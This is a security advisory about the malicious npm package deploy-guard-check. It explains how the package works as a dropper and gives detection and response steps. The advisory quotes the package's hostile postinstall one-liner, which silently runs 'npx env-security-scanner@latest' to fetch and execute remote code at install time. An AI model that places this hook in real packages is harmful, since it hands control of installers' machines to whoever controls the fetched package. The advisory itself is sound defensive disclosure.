deploy-guard-checknpm
Advisory published Updated
deploy-guard-check is a confirmed malicious npm package (MAL-2026-4237) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in deploy-guard-check (npm)
What this malware does
The package is a thin dropper. Its package.json postinstall hook runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching whatever version of env-security-scanner is current on the npm registry at install time and executing it on the installer's machine. The errors are silently swallowed by a try/catch, hiding failures from the installer. The package has no functionality of its own: index.js (used as both main and bin) does the same npx env-security-scanner@latest audit_environment invocation. Whoever controls the env-security-scanner package — or whoever takes it over in the future — can ship arbitrary code to every installer of this package at any time. Author metadata is a generic placeholder ("Safe Deploy Initiative"). This is the canonical install-time-RCE dropper pattern: unpinned @latest reference + lifecycle hook + no functionality except summoning another package.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for deploy-guard-check (version 1.0.0).
If you installed it — respond
Remove deploy-guard-check from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If deploy-guard-check was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks deploy-guard-check-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.